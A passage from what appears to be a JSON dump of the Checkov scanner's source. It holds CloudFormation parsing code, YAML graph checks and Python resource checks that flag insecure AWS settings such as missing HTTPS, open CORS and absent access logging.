get_entity_value_as_string(tag[\"Value\"])\n            for tag in tags\n            if all(field in tag for field in TAG_FIELD_NAMES)\n        }\n        return tag_dict\n    elif isinstance(tags, dict):\n        tag_dict = {\n            get_entity_value_as_string(key): get_entity_value_as_string(value)\n            for key, value in tags.items()\n            if key not in (STARTLINE, ENDLINE)\n        }\n        return tag_dict\n    return None\n\n\ndef get_entity_value_as_string(value: Any) -> str:\n    \"\"\"\n    Handles different type of entities with possible CFN function substitutions. Returns the simplest possible string value\n    (without performing any function calls).\n\n    Examples:\n    Key: Value  # returns simple string\n\n    Key: !Ref ${AWS::AccountId}-data  # returns ${AWS::AccountId}-data\n\n    Key:\n    - ${account}-data\n    - account: !Ref ${AWS::AccountId}\n\n    # returns ${account}-data\n\n    :param value:\n    :return:\n    \"\"\"\n    if isinstance(value, dict):\n        (function, value) = next(iter(value.items()))\n        # If the value is a long-form function, then the first element is the template string (technically str_node)\n        # Otherwise the dict value is the template string\n        if isinstance(value, list):\n            if \"Join\" in function:\n                # Join looks like !Join [, [V1, V2, V3]]\n                join_str = str(value[0])\n                return join_str.join([str(v) for v in value[1]])\n            else:\n                return str(value[0])\n        else:\n            return str(value)\n    else:\n        return str(value)\n\n\ndef get_folder_definitions(\n        root_folder: str, excluded_paths: list[str] | None, out_parsing_errors: dict[str, str] | None = None\n) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]:\n    out_parsing_errors = {} if out_parsing_errors is None else out_parsing_errors\n    files_list = []\n    for root, d_names, f_names in os.walk(root_folder):\n        filter_ignored_paths(root, d_names, excluded_paths)\n        filter_ignored_paths(root, f_names, excluded_paths)\n        for file in f_names:\n            file_ending = os.path.splitext(file)[1]\n            if file_ending in CF_POSSIBLE_ENDINGS:\n                files_list.append(os.path.join(root, file))\n\n    definitions, definitions_raw = get_files_definitions(files_list, out_parsing_errors)\n    return definitions, definitions_raw\n\n\ndef build_definitions_context(\n        definitions: dict[str, dict[str, Any]], definitions_raw: Dict[str, List[Tuple[int, str]]]\n) -> Dict[str, Dict[str, Any]]:\n    definitions_context: Dict[str, Dict[str, Any]] = {}\n    # iterate on the files\n    for file_path, file_path_definitions in definitions.items():\n        # iterate on the definitions (Parameters, Resources, Outputs...)\n        for file_path_definition, definition in file_path_definitions.items():\n            if (\n                    isinstance(file_path_definition, StrNode)\n                    and file_path_definition.upper() in TemplateSections.__members__\n                    and isinstance(definition, DictNode)\n            ):\n                # iterate on the actual objects of each definition\n                for attribute, attr_value in definition.items():\n                    if isinstance(attr_value, DictNode):\n                        start_line = attr_value.start_mark.line\n                        end_line = attr_value.end_mark.line\n                        # fix lines number for yaml and json files\n                        first_line_index = 0\n                        while not str.strip(definitions_raw[file_path][first_line_index][1]):\n                            first_line_index += 1\n                        # check if the file is a json file\n                        if str.strip(definitions_raw[file_path][first_line_index][1])[0] == \"{\":\n                            start_line += 1\n                            end_line += 1\n                        else:\n                            # add resource comments to definition lines\n                            current_line = str.strip(definitions_raw[file_path][start_line - 1][1])\n                            while not current_line or current_line[0] == YAML_COMMENT_MARK:\n                                start_line -= 1\n                                current_line = str.strip(definitions_raw[file_path][start_line - 1][1])\n\n                            # remove next resource comments from definition lines\n                            current_line = str.strip(definitions_raw[file_path][end_line - 1][1])\n                            while not current_line or current_line[0] == YAML_COMMENT_MARK:\n                                end_line -= 1\n                                current_line = str.strip(definitions_raw[file_path][end_line - 1][1])\n\n                        code_lines = definitions_raw[file_path][start_line - 1: end_line]\n                        dpath.new(\n                            definitions_context,\n                            [file_path, str(file_path_definition), str(attribute)],\n                            {\"start_line\": start_line, \"end_line\": end_line, \"code_lines\": code_lines},\n                        )\n                        if file_path_definition.upper() == TemplateSections.RESOURCES.value.upper():\n                            skipped_checks = ContextParser.collect_skip_comments(\n                                entity_code_lines=code_lines,\n                                resource_config=attr_value,\n                            )\n                            dpath.new(\n                                definitions_context,\n                                [file_path, str(file_path_definition), str(attribute), \"skipped_checks\"],\n                                skipped_checks,\n                            )\n    return definitions_context\n\n\ndef create_definitions(\n        root_folder: str | None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        out_parsing_errors: dict[str, str] | None = None\n) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]:\n    runner_filter = runner_filter or RunnerFilter()\n    out_parsing_errors = {} if out_parsing_errors is None else out_parsing_errors\n    definitions: dict[str, dict[str, Any]] = {}\n    definitions_raw: dict[str, list[tuple[int, str]]] = {}\n    if files:\n        files_list = [file for file in files if os.path.splitext(file)[1] in CF_POSSIBLE_ENDINGS]\n        definitions, definitions_raw = get_files_definitions(files_list, out_parsing_errors)\n\n    if root_folder:\n        definitions, definitions_raw = get_folder_definitions(root_folder, runner_filter.excluded_paths,\n                                                              out_parsing_errors)\n\n    return definitions, definitions_raw\n\n\ndef get_files_definitions(\n    files: List[str], out_parsing_errors: Dict[str, str], filepath_fn: Callable[[str], str] | None = None\n) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]:\n    results = parallel_runner.run_function(_parse_file, files)\n\n    definitions = {}\n    definitions_raw = {}\n    for file, parse_result, parsing_errors in results:\n        out_parsing_errors.update(parsing_errors)\n        path = filepath_fn(file) if filepath_fn else file\n        try:\n            template, template_lines = parse_result\n            if isinstance(template, dict) and isinstance(template.get(\"Resources\"), dict) and isinstance(template_lines, list):\n                if validate_properties_in_resources_are_dict(template):\n                    template = enrich_resources_with_globals(template)\n                    definitions[path] = template\n                    definitions_raw[path] = template_lines\n                else:\n                    out_parsing_errors.update({file: 'Resource Properties is not a dictionary'})\n            else:\n                if parsing_errors:\n                    logging.debug(f'File {file} had the following parsing errors: {parsing_errors}')\n                logging.debug(f\"Parsed file {file} incorrectly {template}\")\n        except (TypeError, ValueError):\n            logging.warning(f\"CloudFormation skipping {file} as it is not a valid CF template\")\n            continue\n\n    return definitions, definitions_raw\n\n\ndef _parse_file(\n    file: str\n) -> tuple[str, tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | tuple[None, None], dict[str, str]]:\n    parsing_errors: \"dict[str, str]\" = {}\n    result = parse(file, parsing_errors)\n    return file, result, parsing_errors\n\n\ndef validate_properties_in_resources_are_dict(template: dict[str, Any]) -> bool:\n    template_resources = template[\"Resources\"]\n    for resource_name, resource in template_resources.items():\n        if 'Properties' in resource and not isinstance(resource['Properties'], dict) or \".\" in resource_name:\n            return False\n    return True\n\n\ndef enrich_resources_with_globals(original_template: dict[str, Any]) -> dict[str, Any]:\n    \"\"\"\n    Creates a new CloudFormation template dictionary with global properties applied to the resources.\n    :param original_template: The parsed CloudFormation template as a dictionary.\n    :return: A new CloudFormation template with enriched resources.\n    \"\"\"\n\n    new_template = pickle_deepcopy(original_template)  # Create a deep copy of the original template\n\n    try:\n        # Check if Globals exist in the template\n        global_props = new_template.get('Globals', {})\n\n        supported_types = ['Api', 'Function', 'HttpApi', 'SimpleTable', 'StateMachine']\n\n        # Supported AWS serverless type mappings to their corresponding Globals\n        supported_types_and_globals = {f\"AWS::Serverless::{type}\": global_props.get(type, {}) for type in supported_types}\n\n        # Iterate over the resources in the template copy\n        for _resource_name, resource_details in new_template.get('Resources', {}).items():\n            if _resource_name == '__file__':\n                continue\n\n            resource_type = resource_details.get('Type', '')\n            if (resource_type not in supported_types_and_globals):\n                continue\n            global_properties = supported_types_and_globals.get(resource_type, {})\n            resource_properties = resource_details.setdefault('Properties', {})\n            skip_properties = ['Tags']\n            for property in skip_properties:\n                global_properties.pop(property, None)\n\n            merged_properties = DictNode.deep_merge(resource_properties, global_properties)\n\n            # Set the merged properties back into the resource details\n            resource_details['Properties'] = merged_properties\n\n    except Exception as e:\n        logging.warning(f\"Failed to create a new template with enriched resources: {e}\")\n        return original_template\n\n    return new_template  # Return the new template even if there were no globals to apply\n"
  },
  {
    "path": "checkov/cloudformation/checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/cloudformation/checks/graph_checks/ACMWildcardDomainName.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_71\"\n  name: \"Ensure AWS ACM Certificate domain name does not include wildcards\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"AWS::CertificateManager::Certificate\"\n      attribute: \"DomainName\"\n      operator: \"not_contains\"\n      value: \"*\"\n    - or:\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"AWS::CertificateManager::Certificate\"\n        attribute: \"SubjectAlternativeNames\"\n        operator: \"not_exists\"\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"AWS::CertificateManager::Certificate\"\n        attribute: \"SubjectAlternativeNames.*\"\n        operator: \"not_contains\"\n        value: \"*\"\n"
  },
  {
    "path": "checkov/cloudformation/checks/graph_checks/AppSyncProtectedByWAF.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_33\"\n  name: \"Ensure AppSync is protected by WAF\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - AWS::AppSync::GraphQLApi\n      operator: within\n    - cond_type: connection\n      operator: exists\n      resource_types:\n       - AWS::AppSync::GraphQLApi\n      connected_resource_types:\n       - AWS::WAFv2::WebACLAssociation"
  },
  {
    "path": "checkov/cloudformation/checks/graph_checks/CloudfrontOriginNotHTTPSOnly.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_72\"\n  name: \"Ensure AWS CloudFront origin protocol policy enforces HTTPS-only\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"AWS::CloudFront::Distribution\"\n      attribute: \"DistributionConfig.Enabled\"\n      operator: \"equals\"\n      value: \"false\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"AWS::CloudFront::Distribution\"\n      attribute: \"DistributionConfig.Origins.*.CustomOriginConfig\"\n      operator: \"not_exists\"\n    - and:\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"AWS::CloudFront::Distribution\"\n        attribute: DistributionConfig.Origins[?(@.CustomOriginConfig.OriginProtocolPolicy != 'https-only')].DomainName\n        operator: \"jsonpath_not_contains\"\n        value: \".mediastore.\"\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"AWS::CloudFront::Distribution\"\n        attribute: DistributionConfig.Origins[?(@.CustomOriginConfig.OriginProtocolPolicy != 'https-only')].DomainName\n        operator: \"jsonpath_not_contains\"\n        value: \".mediapackage.\"\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"AWS::CloudFront::Distribution\"\n        attribute: DistributionConfig.Origins[?(@.CustomOriginConfig.OriginProtocolPolicy != 'https-only')].DomainName\n        operator: \"jsonpath_not_contains\"\n        value: \".elb.\"\n"
  },
  {
    "path": "checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml",
    "content": "metadata:\n  name: \"Ensure no open CORS policy\"\n  id: \"CKV2_AWS_75\"\n  category: \"NETWORKING\"\nscope:\n  provider: \"aws\"\ndefinition:\n  and:\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      value:\n        - \"AWS::Lambda::Function\"\n      operator: \"within\"\n    - or:\n        - cond_type: \"connection\"\n          operator: \"not_exists\"\n          resource_types:\n            - \"AWS::Lambda::Function\"\n          connected_resource_types:\n            - \"AWS::Lambda::Url\"\n        - and:\n          - cond_type: \"connection\"\n            operator: \"exists\"\n            resource_types:\n              - \"AWS::Lambda::Function\"\n            connected_resource_types:\n              - \"AWS::Lambda::Url\"\n          - or:\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"AWS::Lambda::Url\"\n              attribute: \"Cors.AllowOrigins\"\n              operator: \"not_contains\"\n              value: \"*\"\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"AWS::Lambda::Url\"\n              attribute: \"Cors.AllowMethods\"\n              operator: \"not_contains\"\n              value: \"*\""
  },
  {
    "path": "checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_69\"\n  name: \"Ensure AWS RDS database instance configured with encryption in transit\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - \"AWS::RDS::DBInstance\"\n      operator: within\n    - or:\n      - cond_type: \"connection\"\n        resource_types:\n          - \"AWS::RDS::DBInstance\"\n        connected_resource_types:\n          - \"AWS::RDS::DBParameterGroup\"\n        operator: \"not_exists\"\n      - and:\n        - cond_type: \"connection\"\n          resource_types:\n            - \"AWS::RDS::DBInstance\"\n          connected_resource_types:\n            - \"AWS::RDS::DBParameterGroup\"\n          operator: \"exists\"\n        - or:\n          - cond_type: \"attribute\"\n            resource_types:\n              - \"AWS::RDS::DBParameterGroup\"\n            attribute: \"Family\"\n            operator: \"not_regex_match\"\n            value: \"(^postgres|.*sqlserver).*\"\n          - and:\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"AWS::RDS::DBParameterGroup\"\n              attribute: \"Parameters.rds.force_ssl\"\n              operator: \"exists\"\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"AWS::RDS::DBParameterGroup\"\n              attribute: \"Parameters.rds.force_ssl\"\n              operator: \"equals\"\n              value: \"1\"\n        - or:\n          - cond_type: \"attribute\"\n            resource_types:\n              - \"AWS::RDS::DBParameterGroup\"\n            attribute: \"Family\"\n            operator: \"not_regex_match\"\n            value: \"^(mariadb|mysql).*\"\n          - and:\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"AWS::RDS::DBParameterGroup\"\n              attribute: \"Parameters.require_secure_transport\"\n              operator: \"exists\"\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"AWS::RDS::DBParameterGroup\"\n              attribute: \"Parameters.require_secure_transport\"\n              operator: \"equals\"\n              value: \"1\"\n        - or:\n          - cond_type: \"attribute\"\n            resource_types:\n              - \"AWS::RDS::DBParameterGroup\"\n            attribute: \"Family\"\n            operator: \"not_regex_match\"\n            value: \".*db2-ae.*\"\n          - and:\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"AWS::RDS::DBParameterGroup\"\n              attribute: \"Parameters.db2comm\"\n              operator: \"exists\"\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"AWS::RDS::DBParameterGroup\"\n              attribute: \"Parameters.db2comm\"\n              operator: \"equals\"\n              value: \"SSL\"\n"
  },
  {
    "path": "checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_68\"\n  name: \"Ensure SageMaker notebook instance IAM policy is not overly permissive\"\n  category: \"NETWORKING\"\n\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - AWS::SageMaker::NotebookInstance\n      operator: within\n      attribute: resource_type\n    - cond_type: connection\n      resource_types:\n        - AWS::SageMaker::NotebookInstance\n      connected_resource_types:\n        - AWS::IAM::Role\n      operator: exists\n    - cond_type: attribute\n      resource_types:\n        - AWS::IAM::Role\n      attribute: \"AssumeRolePolicyDocument.Statement[?(@.Effect == Allow)].Action[*]\"\n      operator: \"jsonpath_not_equals\"\n      value: \"*\"\n\n"
  },
  {
    "path": "checkov/cloudformation/checks/graph_checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/cloudformation/checks/resource/BaseCloudsplainingIAMCheck.py",
    "content": "from __future__ import annotations\n\nimport fnmatch\nimport json\nimport logging\nfrom abc import abstractmethod\nfrom collections import defaultdict\nfrom functools import partial\nfrom typing import Any\n\nfrom cloudsplaining.scan.policy_document import PolicyDocument\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.utils.iam_cloudformation_document_to_policy_converter import \\\n    convert_cloudformation_conf_to_iam_policy\n\n\nclass BaseCloudsplainingIAMCheck(BaseResourceCheck):\n    # creating a PolicyDocument is computational expensive,\n    # therefore a cache is defined at class level\n    policy_document_cache: dict[str, dict[str, PolicyDocument]] = defaultdict(partial(defaultdict, PolicyDocument))  # noqa: CCE003\n\n    def __init__(self, name: str, id: str) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=[CheckCategories.IAM],\n            supported_resources=[\n                \"AWS::IAM::Policy\",\n                \"AWS::IAM::ManagedPolicy\",\n                \"AWS::IAM::Group\",\n                \"AWS::IAM::Role\",\n                \"AWS::IAM::User\",\n            ]\n        )\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if conf.get('Properties'):\n            props_conf = conf['Properties']\n            policies_key = 'Policies'\n\n            # Obtain a list of 1 or more policies regardless of resource schema\n            if policies_key in props_conf.keys():\n                policy_conf = props_conf[policies_key]\n            else:\n                policy_conf = [props_conf]\n\n            # Scan all policies\n            for policy in policy_conf:\n                policy_doc_key = 'PolicyDocument'\n                if not isinstance(policy, dict) or policy_doc_key not in policy.keys():\n                    continue\n                policy_statement = None\n                policy_name = policy.get(\"PolicyName\")\n                if isinstance(policy_name, str):\n                    policy_statement = self.policy_document_cache.get(self.entity_path, {}).get(policy.get(\"PolicyName\"))\n\n                try:\n                    if not policy_statement:\n                        # When using unresolved Cfn functions, policy is an str\n                        policy_doc = policy[policy_doc_key]\n                        if not isinstance(policy_doc, dict):\n                            return CheckResult.UNKNOWN\n                        converted_policy_doc = convert_cloudformation_conf_to_iam_policy(policy_doc)\n                        statement_key = 'Statement'\n                        if statement_key in converted_policy_doc:\n                            policy_statement = PolicyDocument(converted_policy_doc)\n                            self.policy_document_cache[self.entity_path][policy.get(\"PolicyName\")] = policy_statement\n                    self.cloudsplaining_enrich_evaluated_keys(policy_statement)\n                    violations = self.cloudsplaining_analysis(policy_statement)\n                    if violations:\n                        logging.debug(f\"detailed cloudsplaining finding: {json.dumps(violations)}\")\n                        return CheckResult.FAILED\n                except Exception:\n                    # this might occur with templated iam policies where ARN is not in place or similar\n                    logging.debug(f\"could not run cloudsplaining analysis on policy {conf}\")\n                    return CheckResult.UNKNOWN\n            return CheckResult.PASSED\n\n    @abstractmethod\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> list[str]:\n        raise NotImplementedError()\n\n    def cloudsplaining_enrich_evaluated_keys(self, policy: PolicyDocument) -> None:\n        try:\n            violating_actions = self.cloudsplaining_analysis(policy)\n            if violating_actions:\n                # in case we have violating actions for this policy we start looking for it through the statements\n                for stmt_idx, statement in enumerate(policy.statements):\n                    actions = statement.statement.get('Action')  # get the actions for this statement\n                    if actions:\n                        if isinstance(actions, str):\n                            for violating_action in violating_actions:\n                                if fnmatch.fnmatch(violating_action, actions):  # found the violating action in our list of actions\n                                    self.evaluated_keys = [f\"Properties/PolicyDocument/Statement/[{stmt_idx}]/Action\"]\n                                    break\n                        if isinstance(actions, list):\n                            for action_idx, action in enumerate(actions):      # go through the actions of this statement and try to match one violation\n                                for violating_action in violating_actions:\n                                    if fnmatch.fnmatch(violating_action, action):      # found the violating action in our list of actions\n                                        self.evaluated_keys.append(\n                                            f\"Properties/PolicyDocument/Statement/[{stmt_idx}]/Action/[{action_idx}]/\"\n                                        )\n                                        break\n        except Exception as e:\n            logging.warning(f'Failed enriching cloudsplaining evaluated keys due to: {e}')\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ALBDropHttpHeaders.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ALBDropHttpHeaders(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Ensure that ALB drops HTTP headers\"\n        id = \"CKV_AWS_131\"\n        supported_resources = [\"AWS::ElasticLoadBalancingV2::LoadBalancer\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        # ALB is default loadbalancer type if not explicitly set\n        alb = True\n\n        properties = conf.get(\"Properties\")\n        lb_type = properties.get(\"Type\")\n        if lb_type and lb_type != 'application':\n            alb = False\n\n        # If lb is alb then drop headers must be present and true\n        self.evaluated_keys = ['Properties']\n        if alb:\n            lb_attributes = properties.get('LoadBalancerAttributes', {})\n            if isinstance(lb_attributes, list):\n                self.evaluated_keys = ['Properties/LoadBalancerAttributes']\n                for item in lb_attributes:\n                    key = item.get('Key')\n                    if key == 'routing.http.drop_invalid_header_fields.enabled':\n                        value = item.get('Value')\n                        if isinstance(value, bool):\n                            value = str(value).lower()\n                        if value == \"true\":\n                            return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        # If lb is not alb then check is not valid\n        return CheckResult.UNKNOWN\n\n\ncheck = ALBDropHttpHeaders()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ALBListenerHTTPS.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.cloudformation.parser.cfn_keywords import ConditionFunctions, IntrinsicFunctions\n\n\nclass ALBListenerHTTPS(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure ALB protocol is HTTPS\"\n        id = \"CKV_AWS_2\"\n        supported_resources = (\"AWS::ElasticLoadBalancingV2::Listener\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        \"\"\"\n            validates ALB protocol is HTTPS\n            https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticloadbalancingv2-listener.html\n        :param conf: aws_alb_listener configuration\n        :return: <CheckResult>\n        \"\"\"\n        properties = conf.get(\"Properties\")\n        if properties and isinstance(properties, dict):\n            protocol = properties.get(\"Protocol\")\n            if protocol:\n                if protocol in (\"HTTPS\", \"TLS\", \"TCP\", \"UDP\", \"TCP_UDP\"):\n                    return CheckResult.PASSED\n                else:\n                    if isinstance(properties.get(\"DefaultActions\", {}), dict):\n                        default_actions = properties.get(\"DefaultActions\", {}).keys()\n                        if any(\n                            action in ConditionFunctions.__dict__.values()\n                            or action in IntrinsicFunctions.__dict__.values()\n                            for action in default_actions\n                        ):\n                            return CheckResult.UNKNOWN\n                    if (\n                        \"DefaultActions\" in properties.keys()\n                        and properties[\"DefaultActions\"][0].get(\"Type\") == \"redirect\"\n                        and properties[\"DefaultActions\"][0].get(\"RedirectConfig\", {}).get(\"Protocol\") == \"HTTPS\"\n                    ):\n                        return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"Properties/Protocol\", \"Properties/DefaultActions\"]\n\n\ncheck = ALBListenerHTTPS()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ALBListenerTLS12.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.cloudformation.parser.cfn_keywords import ConditionFunctions, IntrinsicFunctions\n\nsupported_policy_prefixes = {\n    # ALBs support TLS v1.2 and 1.3\n    'HTTPS': (\"ELBSecurityPolicy-FS-1-2\", \"ELBSecurityPolicy-TLS-1-2\", \"ELBSecurityPolicy-TLS13-1-2\",\n              \"ELBSecurityPolicy-TLS13-1-3\"),\n    # NLBs support TLS v1.2 and 1.3\n    'TLS': (\"ELBSecurityPolicy-TLS13-1-3-2021-06\", \"ELBSecurityPolicy-TLS13-1-2\", \"ELBSecurityPolicy-FS-1-2\",\n            \"ELBSecurityPolicy-TLS-1-2\")\n}\n\n\nclass ALBListenerTLS12(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Load Balancer Listener is using at least TLS v1.2\"\n        id = \"CKV_AWS_103\"\n        supported_resources = ('AWS::ElasticLoadBalancingV2::Listener',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        \"\"\"\n            validates that ElasticLoadBalancing V2 Listener is using at least TLS v1.2\n            https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticloadbalancingv2-listener.html\n        :param conf: aws_alb_listener configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        if 'Properties' in conf.keys():\n            if 'Protocol' in conf['Properties'].keys():\n                # Check SslPolicy only if protocol is HTTPS (ALB) or TLS (NLB).\n                # Other protocols are not interesting within the context of this check.\n                protocol = conf['Properties']['Protocol']\n                if protocol in ('HTTPS', 'TLS'):\n                    if 'SslPolicy' in conf['Properties'].keys():\n                        if isinstance(conf['Properties']['SslPolicy'], str) and conf['Properties']['SslPolicy'].startswith(supported_policy_prefixes[protocol]):\n                            return CheckResult.PASSED\n                    return CheckResult.FAILED\n                elif conf['Properties']['Protocol'] in ('TCP', 'UDP', 'TCP_UDP'):\n                    return CheckResult.PASSED\n                actions = conf['Properties'].get('DefaultActions', [])\n                for action in actions:\n                    if action in ConditionFunctions.__dict__.values() or action in IntrinsicFunctions.__dict__.values():\n                        return CheckResult.UNKNOWN\n                    redirects = action.get(\"RedirectConfig\", [])\n                    for redirect in force_list(redirects):\n                        if redirect.get(\"Protocol\", []) == 'HTTPS':\n                            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['Properties/Protocol', 'Properties/SslPolicy']\n\n\ncheck = ALBListenerTLS12()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass APIGatewayAccessLogging(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure API Gateway has Access Logging enabled\"\n        id = \"CKV_AWS_76\"\n        supported_resources = ['AWS::ApiGateway::Stage', \"AWS::Serverless::Api\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/AccessLogSetting/DestinationArn'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = APIGatewayAccessLogging()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/APIGatewayAuthorization.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass APIGatewayAuthorization(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure there is no open access to back-end resources through API\"\n        id = \"CKV_AWS_59\"\n        supported_resources = ('AWS::ApiGateway::Method',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"Properties\"]\n        if 'Properties' in conf.keys():\n            if 'HttpMethod' in conf['Properties'].keys() and 'AuthorizationType' in conf['Properties'].keys():\n                if conf['Properties']['HttpMethod'] != \"OPTIONS\" and conf['Properties']['AuthorizationType'] == \"NONE\":\n                    if 'ApiKeyRequired' not in conf['Properties'].keys() or conf['Properties']['ApiKeyRequired'] is False:\n                        self.evaluated_keys = [\"Properties/HttpMethod\", \"Properties/AuthorizationType\",\n                                               \"Properties/ApiKeyRequired\"]\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = APIGatewayAuthorization()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass APIGatewayCacheEnable(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure API Gateway caching is enabled\"\n        id = \"CKV_AWS_120\"\n        supported_resources = ['AWS::ApiGateway::Stage', \"AWS::Serverless::Api\"]\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/CacheClusterEnabled'\n\n\ncheck = APIGatewayCacheEnable()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass APIGatewayV2AccessLogging(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure API Gateway V2 has Access Logging enabled\"\n        id = \"CKV_AWS_95\"\n        supported_resources = ['AWS::ApiGatewayV2::Stage', \"AWS::Serverless::HttpApi\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/AccessLogSettings/DestinationArn'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = APIGatewayV2AccessLogging()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/APIGatewayXray.py",
